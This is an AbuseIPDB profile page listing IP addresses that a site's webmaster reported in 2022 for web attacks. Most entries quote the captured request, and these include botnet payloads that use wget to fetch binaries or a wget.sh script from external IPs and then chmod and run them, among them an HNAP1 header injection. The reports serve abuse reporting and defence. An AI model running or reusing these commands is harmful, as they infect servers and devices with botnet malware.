twisted - AbuseIPDB User Profile

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User twisted , the webmaster of codeclub.uk, joined AbuseIPDB in March 2022 and has reported 11 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇺🇸 64.139.227.13	23 Jun 2022	attempts to get webserver to download & execute a file: GET /shell?cd+/tmp;+wget+http:/\\/137.184 ... show more attempts to get webserver to download & execute a file: GET /shell?cd+/tmp;+wget+http:/\\/137.184.190.170/AkitaXss/bin.arm;+chmod+777+bin.arm;+./bin.arm Jaws.Selfrep;rm+-rf+bin.arm show less	Hacking
🇨🇳 47.106.177.157	18 Jun 2022	attempts to download a file, change permissions & execute it: GET /shell?cd+/tmp;+wget+http:/\\/5 ... show more attempts to download a file, change permissions & execute it: GET /shell?cd+/tmp;+wget+http:/\\/51.81.133.91/FKKK/NW_BBB.arm;+chmod+777+NW_BBB.arm;+./NW_BBB.arm Jaws.Selfrep;rm+-rf+NW_BBB.arm show less	Hacking
🇨🇳 139.224.75.74	17 Jun 2022	request attempts to download a file, change permissions & execute it: GET /shell?cd+/tmp;+wget+ht ... show more request attempts to download a file, change permissions & execute it: GET /shell?cd+/tmp;+wget+http:/\\/51.81.133.91/FKKK/NW_BBBarm;+chmod+777+NW_BBBarm;+./NW_BBBarm Jaws.Selfrep;rm+-rf+NW_BBBarm show less	Hacking Web App Attack
🇨🇳 39.103.232.57	17 Jun 2022	request attempts to download a file, change permissions & execute it: GET /shell?cd+/tmp;+wget+h ... show more request attempts to download a file, change permissions & execute it: GET /shell?cd+/tmp;+wget+http:/\\/146.0.75.242/YourName/BinName.arm;+chmod+777+BinName.arm;+./BinName.arm Jaws.Selfrep;rm+-rf+BinName.arm show less	Hacking Web App Attack
🇩🇪 47.254.154.31	16 Apr 2022	repeated attempts to find phpMyAdmin, mysqlmanager, wordpress etc. 120 404s within last 24 hours	Brute-Force Web App Attack
🇳🇱 31.210.20.109	05 Apr 2022	2022-04-04 Shell commands embedded in http headers: SOAPAction:"http%3a//purenetworks.com/HNAP1 ... show more 2022-04-04 Shell commands embedded in http headers: SOAPAction:"http%3a//purenetworks.com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH%3a. && cd /tmp;wget http%3a//110.45.146.209/a/wget.sh;chmod 777 wget.sh;sh wget.sh selfrep.dlink;rm -rf wget.sh`" show less	Hacking
🇰🇷 222.106.199.60	05 Apr 2022	2022-04-04 Attempt to get server to download & execute a file: GET /shell?cd+/tmp;rm+-rf+;wget+ ... show more 2022-04-04 Attempt to get server to download & execute a file: GET /shell?cd+/tmp;rm+-rf+;wget+27.254.163.205/jaws;sh+/tmp/jaws HTTP/1.1 show less	Hacking
🇹🇭 27.254.163.205	05 Apr 2022	2022-04-04: GET /shell?cd+/tmp;rm+-rf+*;wget+27.254.163.205/jaws;sh+/tmp/jaws HTTP/1.1	Exploited Host
🇩🇪 93.221.166.130	05 Apr 2022	2022-04-04 Repeated probes for installed web applications: GET /admin/db/index.php?lang=en HTTP/ ... show more 2022-04-04 Repeated probes for installed web applications: GET /admin/db/index.php?lang=en HTTP/1.1 GET /phpMyAdmin2/index.php?lang=en HTTP/1.1 GET /admin/web/index.php?lang=en HTTP/1.1 GET /sql/sql/index.php?lang=en HTTP/1.1 GET /administrator/admin/index.php?lang=en HTTP/1.1 and many others show less	Web App Attack
🇱🇻 91.135.84.158	05 Apr 2022	Attempt to get server to download & execute a file: GET /shell?cd+/tmp;rm+-rf+;wget+158.51.124.114 ... show more Attempt to get server to download & execute a file: GET /shell?cd+/tmp;rm+-rf+;wget+158.51.124.114/jaws;sh+/tmp/jaws HTTP/1.1 show less	Hacking
🇰🇷 125.249.34.24	05 Apr 2022	Attempt to get server to download & execute a file: GET /shell?cd+/tmp;rm+-rf+;wget+158.51.124.1 ... show more Attempt to get server to download & execute a file: GET /shell?cd+/tmp;rm+-rf+;wget+158.51.124.114/jaws;sh+/tmp/jaws HTTP/1.1 show less	Hacking